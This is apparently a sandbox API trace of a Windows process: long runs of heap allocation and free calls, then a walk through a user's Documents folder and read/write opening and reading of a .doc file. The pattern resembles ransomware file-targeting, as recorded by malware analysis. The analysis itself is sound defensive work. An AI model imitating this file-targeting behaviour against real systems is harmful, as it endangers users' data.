RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.718] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\") returned="7sg88LIA79bVPrOA\\" [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0121.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.725] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.725] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.725] PathFindFileNameW (pszPath="") returned="" [0121.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f216660, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x3f5107c0, ftLastAccessTime.dwHighDateTime=0x1d4d326, ftLastWriteTime.dwLowDateTime=0x3f5107c0, ftLastWriteTime.dwHighDateTime=0x1d4d326, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.726] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f216660, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x3f5107c0, ftLastAccessTime.dwHighDateTime=0x1d4d326, ftLastWriteTime.dwLowDateTime=0x3f5107c0, ftLastWriteTime.dwHighDateTime=0x1d4d326, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.727] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41192130, ftCreationTime.dwHighDateTime=0x1d4c67b, ftLastAccessTime.dwLowDateTime=0xa169b150, ftLastAccessTime.dwHighDateTime=0x1d4caca, ftLastWriteTime.dwLowDateTime=0xa169b150, ftLastWriteTime.dwHighDateTime=0x1d4caca, nFileSizeHigh=0x0, nFileSizeLow=0x14192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5WOBU.doc", cAlternateFileName="")) returned 1 [0121.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\5WOBU.doc") returned=".doc" [0121.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\5WOBU.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\5wobu.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.728] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=82322) returned 1 [0121.728] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.729] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1416c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.730] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.731] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x14192, lpOverlapped=0x0) returned 1 [0121.732] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.732] 